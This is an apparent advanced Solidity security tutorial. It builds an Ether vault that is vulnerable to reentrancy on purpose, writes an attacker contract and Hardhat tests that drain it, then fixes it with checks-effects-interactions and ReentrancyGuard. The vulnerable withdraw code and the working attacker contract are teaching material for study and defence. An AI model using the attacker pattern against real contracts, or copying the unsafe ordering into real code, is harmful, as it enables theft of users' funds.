Break a vault with reentrancy,
then fix it the right way.
In this advanced security guide you’ll build a vulnerable Ether vault, exploit it in tests, and then harden it using CEI, reentrancy guards, and safer transfer patterns. No fluff — just real exploit mechanics and real fixes.
function withdraw(uint256 amount) external {
require(balances[msg.sender] >= amount);
(bool ok,) = msg.sender.call{value: amount}("");
require(ok, "send failed");
balances[msg.sender] -= amount; // <-- too late
}
What you’ll learn
Reentrancy is still the #1 real-world exploit class for a reason: it’s simple, sneaky, and devastating when state updates happen after external calls.
- How a reentrancy loop works at EVM level
- How to write a minimal vulnerable vault
- How to craft an attacker contract
- How to reproduce the bug in Hardhat 3 + TypeScript tests
- How to fix with CEI and verify via tests
- When CEI is enough and when you still need guards
You should already be comfortable with Solidity basics, tests, and deployment. We’ll move fast.
- ✓ Solidity control flow
- ✓ Hardhat 3 TS projects
- ✓ ethers v6 in tests
- ✓ msg.sender / call / fallback
- • Familiarity with CEI
- • EVM gas basics
Reentrancy in one picture
The core pattern is always the same: contract sends value to attacker before updating state. If attacker can execute code during that send, they can call back into the victim while their balance is still “old”.
🚨 Vulnerable order
Interaction before Effects. External call happens while balances are still unchanged.
✅ Safe order (CEI)
Effects first. Update storage, then call out.
🛡 Guarded order
Even if CEI is missed, a reentrancy lock blocks recursion.
- Developers copy old snippets using call.
- State updates are split across internal functions.
- Multiple external calls in one function make order tricky.
- “Looks safe” ≠ safe: e.g. ERC-777 hooks, fallback proxies.
Project setup (Hardhat 3 + TS)
Create a new folder:
mkdir reentrancy-guide
cd reentrancy-guide
npm init -y
Install Hardhat 3:
npm install --save-dev hardhat
Initialize a TypeScript project:
npx hardhat
Choose “Create a TypeScript project”, install dependencies.
Optional but recommended packages:
npm install @openzeppelin/contracts
npm install --save-dev @nomicfoundation/hardhat-toolbox-ethers dotenv
Delete Lock.sol and Lock.ts — we’ll write our own vault.
.
├─ contracts/
├─ scripts/
├─ test/
├─ hardhat.config.ts
└─ tsconfig.json
// hardhat.config.ts
import { defineConfig } from "hardhat/config";
import "@nomicfoundation/hardhat-toolbox-ethers";
export default defineConfig({
solidity: "0.8.20",
});
Write a vulnerable Ether vault
Create contracts/EtherVault.sol. This vault lets users deposit ETH and withdraw later. We'll intentionally place the external call before state update.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract EtherVault {
mapping(address => uint256) public balances;
event Deposit(address indexed user, uint256 amount);
event Withdraw(address indexed user, uint256 amount);
function deposit() external payable {
require(msg.value > 0, "zero deposit");
balances[msg.sender] += msg.value;
emit Deposit(msg.sender, msg.value);
}
function withdraw(uint256 amount) external {
require(balances[msg.sender] >= amount, "insufficient");
// ❌ INTERACTION first (external call)
(bool ok,) = msg.sender.call{value: amount}("");
require(ok, "send failed");
// ❌ EFFECTS last (state update too late)
balances[msg.sender] -= amount;
emit Withdraw(msg.sender, amount);
}
function vaultBalance() external view returns (uint256) {
return address(this).balance;
}
}
msg.sender.call() gives control to the receiver. If receiver is a contract, its fallback can call withdraw() again before the balance is reduced.
Compile:
npx hardhat compile
Build the attacker contract
Create contracts/VaultAttacker.sol. It deposits some ETH, calls withdraw, and in fallback re-enters until vault is drained.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "./EtherVault.sol";
contract VaultAttacker {
EtherVault public vault;
address public owner;
uint256 public reenterAmount;
constructor(address vaultAddress) {
vault = EtherVault(vaultAddress);
owner = msg.sender;
}
// start attack by depositing & withdrawing once
function attack() external payable {
require(msg.sender == owner, "not owner");
require(msg.value > 0, "no eth");
reenterAmount = msg.value;
vault.deposit{value: msg.value}();
vault.withdraw(reenterAmount);
}
// fallback runs when vault sends ETH
receive() external payable {
uint256 vaultBal = address(vault).balance;
if (vaultBal >= reenterAmount) {
vault.withdraw(reenterAmount);
}
}
function sweep() external {
require(msg.sender == owner, "not owner");
(bool ok,) = owner.call{value: address(this).balance}("");
require(ok, "sweep failed");
}
function attackerBalance() external view returns (uint256) {
return address(this).balance;
}
}
The attacker’s receive() executes during the victim’s send operation. That’s the “reentrancy window”.
Exploit the vault in TypeScript tests
Create test/reentrancy.ts. We’ll set up: two honest users deposit, attacker drains all.
import { expect } from "chai";
import { ethers } from "hardhat";
describe("Reentrancy exploit walkthrough", function () {
async function deployFixture() {
const [deployer, alice, bob, attackerEOA] = await ethers.getSigners();
const Vault = await ethers.getContractFactory("EtherVault", deployer);
const vault = await Vault.deploy();
await vault.waitForDeployment();
const Attacker = await ethers.getContractFactory("VaultAttacker", attackerEOA);
const attacker = await Attacker.deploy(await vault.getAddress());
await attacker.waitForDeployment();
return { vault, attacker, deployer, alice, bob, attackerEOA };
}
it("drains the vault due to reentrancy", async function () {
const { vault, attacker, alice, bob, attackerEOA } = await deployFixture();
// Honest deposits
await vault.connect(alice).deposit({ value: ethers.parseEther("5") });
await vault.connect(bob).deposit({ value: ethers.parseEther("5") });
const startVaultBalance = await vault.vaultBalance();
expect(startVaultBalance).to.equal(ethers.parseEther("10"));
// Attacker starts with 1 ETH
await attacker.connect(attackerEOA).attack({ value: ethers.parseEther("1") });
const endVaultBalance = await vault.vaultBalance();
const attackerBal = await attacker.attackerBalance();
// Vault should be empty
expect(endVaultBalance).to.equal(0n);
// Attacker stole 10 ETH (honest users) + got back its own 1 ETH reentered repeatedly
expect(attackerBal).to.be.greaterThan(ethers.parseEther("10"));
});
});
Run tests:
npx hardhat test
Add logs for balances (vault, attacker, EOAs). Reentrancy bugs are easier to see with numbers.
What exactly happens during the exploit?
Let’s walk slooowly through a single withdraw:
- Attacker calls vault.withdraw(1 ETH).
- Vault checks balance OK.
- Vault sends 1 ETH with call → control jumps to attacker’s receive().
- Attacker sees vault still has ETH and calls withdraw() again.
- Vault repeats step 2-4 because it still thinks attacker’s balance is unchanged.
- Only after recursion ends, original calls resume and update balances, but it’s too late.
Unlike transfer (2300 gas) or send (same gas limit), call forwards all remaining gas by default. That lets receivers execute arbitrary logic, including calling back.
Not really for modern Solidity. Gas costs change (EIP-1884 etc.), so 2300 gas can break receivers and make your contract unusable. Modern best practice is: use call but protect logic with CEI/guards.
Fix #1 — Checks-Effects-Interactions
The simplest correct fix is to update state before any external call. Edit withdraw accordingly:
function withdraw(uint256 amount) external {
require(balances[msg.sender] >= amount, "insufficient");
// ✅ EFFECTS first
balances[msg.sender] -= amount;
// ✅ INTERACTION last
(bool ok,) = msg.sender.call{value: amount}("");
require(ok, "send failed");
emit Withdraw(msg.sender, amount);
}
Now attacker re-entry fails because their stored balance is already reduced.
Always ask yourself: “Can any external call happen before I lock in critical state?”
Update tests to prove the fix
Modify your test to expect revert or non-drain after CEI fix:
it("no longer drains after CEI fix", async function () {
const { vault, attacker, alice, bob, attackerEOA } = await deployFixture();
await vault.connect(alice).deposit({ value: ethers.parseEther("5") });
await vault.connect(bob).deposit({ value: ethers.parseEther("5") });
await expect(
attacker.connect(attackerEOA).attack({ value: ethers.parseEther("1") })
).to.be.reverted; // reentrant withdraw breaks
expect(await vault.vaultBalance()).to.equal(ethers.parseEther("10"));
});
Run tests again.
Fix #2 — ReentrancyGuard (belt + suspenders)
CEI fixes the root bug. But in complex contracts, developers still add a guard as a backstop.
Install OpenZeppelin if not installed:
npm install @openzeppelin/contracts
Then update vault:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract EtherVault is ReentrancyGuard {
mapping(address => uint256) public balances;
event Deposit(address indexed user, uint256 amount);
event Withdraw(address indexed user, uint256 amount);
function deposit() external payable {
require(msg.value > 0, "zero deposit");
balances[msg.sender] += msg.value;
emit Deposit(msg.sender, msg.value);
}
function withdraw(uint256 amount) external nonReentrant {
require(balances[msg.sender] >= amount, "insufficient");
balances[msg.sender] -= amount;
(bool ok,) = msg.sender.call{value: amount}("");
require(ok, "send failed");
emit Withdraw(msg.sender, amount);
}
function vaultBalance() external view returns (uint256) {
return address(this).balance;
}
}
It adds a storage lock. If the function is entered again before completion, it reverts immediately.
When CEI is not enough
CEI protects a single function’s ordering. But reentrancy can sneak through:
- Cross-function reentrancy — attacker re-enters via another public function.
- External hooks (ERC-777, ERC-1155 receiver callbacks).
- Proxy / upgrade patterns where logic is distributed.
- State shared across modules (libraries, facets).
If function A updates balance then calls out safely, but attacker re-enters into function B that still relies on “old” assumptions, you’re still toast. This is why guards are common in DeFi.
Extra hardening patterns
1. Pull over push
Instead of pushing ETH immediately, record credits and let users withdraw later. (We already do that.) Never “auto-send” ETH inside loops.
2. Limit reentrancy surface
- Mark sensitive functions nonReentrant.
- Make internal helpers private if not needed outside.
- Split logic: one function changes state, another performs interaction.
3. Use custom errors
error InsufficientBalance();
error SendFailed();
function withdraw(uint256 amount) external nonReentrant {
if (balances[msg.sender] < amount) revert InsufficientBalance();
balances[msg.sender] -= amount;
(bool ok,) = msg.sender.call{value: amount}("");
if (!ok) revert SendFailed();
}
4. Consider pause switches
If you detect an exploit live, having Pausable can save funds.
Your turn (15-20 min)
Extend EtherVault:
- Add depositFor(address user) that credits someone else.
- Add an owner-only emergencyWithdraw(address user).
- Write tests for both functions.
- Think about reentrancy implications of the new functions.
Mark emergencyWithdraw nonReentrant too. Cross-function attacks are the real “advanced” part.
- → No test can drain funds
- → CEI respected everywhere
- → Guards on all external withdraw-like calls
Reentrancy audit checklist
- Any external call (call / transfer / send / ERC hooks) before state update?
- Any withdraw-like function missing CEI ordering?
- Multiple external calls in one function? Verify order carefully.
- Public functions sharing state across modules? Consider cross-function reentrancy.
- Loops that send ETH/tokens to many users? Prefer pull pattern.
- Add nonReentrant to critical flows.
CEI prevents the bug. Guards prevent surprises. Use both in real protocols.